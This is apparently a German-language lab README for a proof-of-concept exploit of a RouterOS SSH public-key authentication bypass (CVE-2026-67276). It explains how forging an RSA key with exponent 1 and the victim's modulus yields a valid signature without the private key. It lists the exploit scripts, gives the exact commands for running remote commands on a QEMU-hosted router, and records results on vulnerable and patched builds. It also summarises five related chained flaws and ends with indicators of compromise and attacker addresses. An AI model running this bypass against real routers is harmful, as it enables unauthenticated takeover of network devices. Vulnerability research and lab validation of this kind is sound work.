
CVE-2026-67276 RouterOS SSH-Public-Key-Authentifizierung-Bypass-Labor-PoC
Nur für den Laboreinsatz. Ausschließlich gegen RouterOS-Instanzen ausführen, die dir gehören. Angriffe auf Geräte, die dir nicht gehören, sind eine Straftat (CFAA, poln. Art. 267, entsprechende Gesetze).
CERT PL (2026-09-05) hat sechs RouterOS-Schwachstellen offengelegt, die aktiv in freier Wildbahn als Kette „MikroTrick" ausgenutzt werden (vollständige Geräteübernahme ohne Authentifizierung, wenn SSH aus dem Internet erreichbar ist). Von MikroTik am 2026-09-03 in 7.25beta3 / 7.24.2 / 7.23.4 / 6.49.21 behoben.
| CVE | Typ | Kernfehler |
|---|
| 2026-67276 | CWE-347 (dieses PoC) | SSH-Userauth-Key-Match prüft (Schlüsseltyp, Modulus), lässt aber den Exponenten aus; die Signaturprüfung verwendet den client-gelieferten Schlüssel ⇒ e=1-Fälschung |
| 2026-86060 | CWE-88 | Argument-Injection über Benutzernamen, der mit einem verbotenen Zeichen beginnt (-2 in Angriffslogs gesehen) ⇒ Policy-Mask-Änderung ⇒ Privilegieneskalation |
| 2026-67279 | CWE-841 | SSH tritt nach client-angefordertem Rekey ohne abgeschlossenes Userauth in das Verbindungsprotokoll ein ⇒ nicht authentifizierte Ausführung im Datei-Namespace |
| 2026-67277 | CWE-306 | bandwidth-test Pre-Auth-Zustand + Offenlegung nicht initialisierter Puffer + Size-Underflow ⇒ Kernel-Speicherleck / Neustart |
| 2026-67278 | CWE-347 | X.509 akzeptiert fehlerhafte RSA/PKCS#1v1.5-Signaturen; e=3-Vertrauensanker ⇒ Fälschung vertrauenswürdiger Zwischenzertifikate |
| 2026-67281 | CWE-824 | WebFig /jsproxy veralteter nicht initialisierter Principal-Zeiger + Pfad-Escape ⇒ Root-Dateilesen |
Verwundbare Bereiche (alle sechs): [7.24, 7.24.2), [7.0.0, 7.23.4), [6.0.0, 6.49.21).
{ssh-rsa, e=1, n=Opfer} macht sig^1 mod n == sig, sodass die gültige „Signatur" einfach EMSA-PKCS1-v1_5(hash, authdata) ist — von jedem berechenbar, der den öffentlichen Modulus des Opfers kennt. Kein privater Schlüssel nötig.Voraussetzungen (das eigene Minimum der Offenlegung): Zielbenutzername + der autorisierte RSA-Public-Modulus dieses Benutzers.
n dieses autorisierten Schlüssels (aus einem geleakten/erfassten .pub, Provisionierungsaufzeichnungen oder --modulus-hex). Dies ist die einzige geheimnisnahe Eingabe; der private Schlüssel wird nie benötigt.ForgeKey-Hook — Standard-OpenSSH kann das nicht).ssh-rsa auf 6.x, rsa-sha2-256 auch auf 7.x).forge_67276.py — Primitive: OpenSSH-Pubkey-Parsing, RFC-8017-EMSA-Encoder, Builder für gefälschte Blobs/Signaturen, Referenz-RFC-8017-Verifier.selftest.py — lokaler Beweis, kein Router: Encoder byte-identisch zu OpenSSL (über Real-Signatur-Inversion), gefälschte Signatur verifiziert bei e=1 und NICHT bei 65537, vollständige RFC-4252-§7-Wire-Shape-Simulation. Alle 15 Prüfungen BESTANDEN.poc_67276.py — paramiko-Client, der den Bypass durchführt (Algorithmus-Pinning pro Verbindung; --lab-i-own-this-target erforderlich).console_setup.py — einmalige CHR-Vorbereitung über QEMU-Serial-Telnet (Opfer-Schlüssel über 10.0.2.2 holen, für admin importieren, ssh aktivieren).sanity_real_key.py — Kontrolle: normale Pubkey-Auth muss zuerst erfolgreich sein.victim_rsa / victim.pub — generiertes Wegwerf-2048-Bit-„Opfer"-Schlüsselpaar; bewusst von Git ausgeschlossen.python3 -m venv .venv
./.venv/bin/python -m pip install -r requirements.txt
ssh-keygen -q -t rsa -b 2048 -N '' -C victim-key -f victim_rsa
/root/mikrotrick-lab/, Host-Bridge br0
(192.168.100.1/24) mit Taps tap0-tap3; dnsmasq auf br0 mit Leases pro MAC.| VM | Image | Gast-IP | MAC | Mac-seitiger Tunnel |
|---|---|---|---|---|
| chr-6.49.20 | verwundbares 6.x | 192.168.100.11 | 52:54:00:aa:00:11 | 127.0.0.1:2222 |
| chr-6.49.21 | gepatchtes 6.x | 192.168.100.12 | 52:54:00:aa:00:12 | 127.0.0.1:2223 |
| chr-7.23.3 | verwundbares 7.x | 192.168.100.13 | 52:54:00:aa:00:13 | 127.0.0.1:2224 |
| chr-7.23.4 | gepatchtes 7.x | 192.168.100.14 | 52:54:00:aa:00:14 | 127.0.0.1:2225 |
labpass123 und Opfer-Schlüssel für admin importiert. Erzwungene Passwortänderungen beim ersten Login wurden über SSH (bootstrap_password.py liest den Dialog) oder den QEMU-Monitor sendkey (mon_type.py) durchgeführt — CHRs serielle Konsole ist standardmäßig tot; die VGA-Konsole ist nur über Monitor screendump lesbar.ssh -N -L 2222:192.168.100.11:22 -L 2223:192.168.100.12:22 -L 2224:192.168.100.13:22 -L 2225:192.168.100.14:22 [email protected]Erneut ausführen (Beispiel, VM3):
qemu-system-x86_64 -enable-kvm -m 512 -smp 2 -name chr-7.23.3 \
-drive file=/root/mikrotrick-lab/chr-7.23.3.img,format=raw,if=virtio \
-netdev tap,id=n2,ifname=tap2,script=no,downscript=no \
-device e1000,netdev=n2,mac=52:54:00:aa:00:13 \
-display none -monitor unix:/root/mikrotrick-lab/mon3.sock,server,nowait &
./.venv/bin/python import_key.py 127.0.0.1 admin labpass123 victim.pub 2224
./.venv/bin/python sanity_real_key.py 127.0.0.1 2224 victim_rsa admin # Baseline
./.venv/bin/python poc_67276.py --host 127.0.0.1 --port 2224 \
--username admin --pubkey victim.pub --algos rsa-sha2-256,ssh-rsa \
--exp-enc aligned --exec '/system resource print' --lab-i-own-this-target
| Ziel | echter privater Schlüssel (Baseline) | gefälschter e=1-Schlüssel (PoC) |
|---|---|---|
| 7.23.3 | Auth OK | Auth OK + /system resource print-Ausführung — CVE bestätigt |
| 7.23.4 (gepatcht) | Auth OK | abgelehnt |
| 6.49.20 | Auth OK | abgelehnt (siehe Nuance) |
| 6.49.21 (gepatcht) | ungültige Baseline | nicht interpretierbar; Gast akzeptierte SSH-none-Auth |
Für das 7.x-Paar gelingt die Real-Key-Baseline auf beiden Builds, SSH-none-Authentifizierung wird abgelehnt, eine Fälschung mit falschem Modulus wird von 7.23.3 abgelehnt, und die Fälschung mit korrektem Modulus gelingt nur auf 7.23.3. Dies ist ein gültiger Vergleich verwundbar versus gepatcht.
Der 6.49.21-Gast wurde während der unabhängigen Revalidierung nicht wie dokumentiert bereitgestellt: admin blieb abgelaufen, /user ssh-keys print detail war leer, und eine SSH-none-Anfrage ohne Anmeldedaten führte Befehle aus. Nicht verwandte echte RSA-Schlüssel und e=1-Schlüssel mit falschem Modulus schienen daher ebenfalls erfolgreich zu sein. Diesen Gast neu bereitstellen und verifizieren, dass none und ein nicht verwandter Schlüssel abgelehnt werden, bevor er als gepatchte Kontrolle verwendet wird.
Versionsnuance: auf 6.49.20 lehnt das serverseitige Match den e=1-Blob ab (/log ssh,debug: can't find matching key for user: admin) — die offengelegte Exponenten-Auslassung war im 6.x-Matcher nicht beobachtbar, obwohl CERTs pauschaler Bereich [6.0.0, 6.49.21) listet. Bestätigt verwundbar: 7.23.3. Bestätigt gepatcht: 7.23.4. Der aktuelle 6.49.21-Laborzustand beweist keines von beiden. Die In-the-Wild-MikroTrick-Aktivität zielte ebenfalls auf 7.x-Geräte.
Wire-Format-Erkenntnis (RFC 8332): die innere Typzeichenfolge des Blobs bleibt ssh-rsa, selbst für rsa-sha2-256/512-Signaturalgorithmen; der Sig-Algorithmus steht nur im äußeren Algorithmusfeld. Wird dies ignoriert, trennt der Server mitten im Userauth die Verbindung (Blob-Parse-Fehler) — auf 6.x und 7.x beobachtet. Der ForgeKey des PoC behandelt dies, und --exp-enc aligned|canonical schaltet die e=1-mpint-Breite um (1 vs. 3 Bytes). Auf 7.23.3 authentifizieren BEIDE Breiten — der Matcher parst den Exponenten und ignoriert seinen Wert wirklich. Auf 6.49.20 authentifiziert KEINE (can't find matching key) — siehe Versionsnuance oben. Serverseitiges /system logging add topics=ssh,debug + /log print-Paket-Hexdumps haben all dies aufgedeckt.
SHA-256-Werte des Quell-Image-Archivs, die in diesem Labor verwendet wurden:
a954ab0002a83de5e4c02110f560d0bf622e7d21916088aaacda6baaba88cf4a chr-6.49.20.img.zip
6dcfb8674fa7964bf92ce849fbb0ba8147a5cf3d7a1ba595e24ce3e615569188 chr-6.49.21.img.zip
646764fb0a53e9b5a056cb9cf7420eb1629031096c7268c99fb9216c07f8e98c chr-7.23.3.img.zip
0d32a8da0950dee71e751281c39063f2bebee4b542291aedecc9dbfbe5d60c9d chr-7.23.4.img.zip
login failure for user -2 via ssh,
user <name> added by ssh:-2@<ip>; unbekannter hochprivilegierter Benutzer ops;
/system/device-mode/print-„Flagged"-Marker (zeigt Kompromittierung an, seine Abwesenheit beweist nichts). Beobachtete Angreifer-IPs: 82.192.72.4, 103.102.31.18.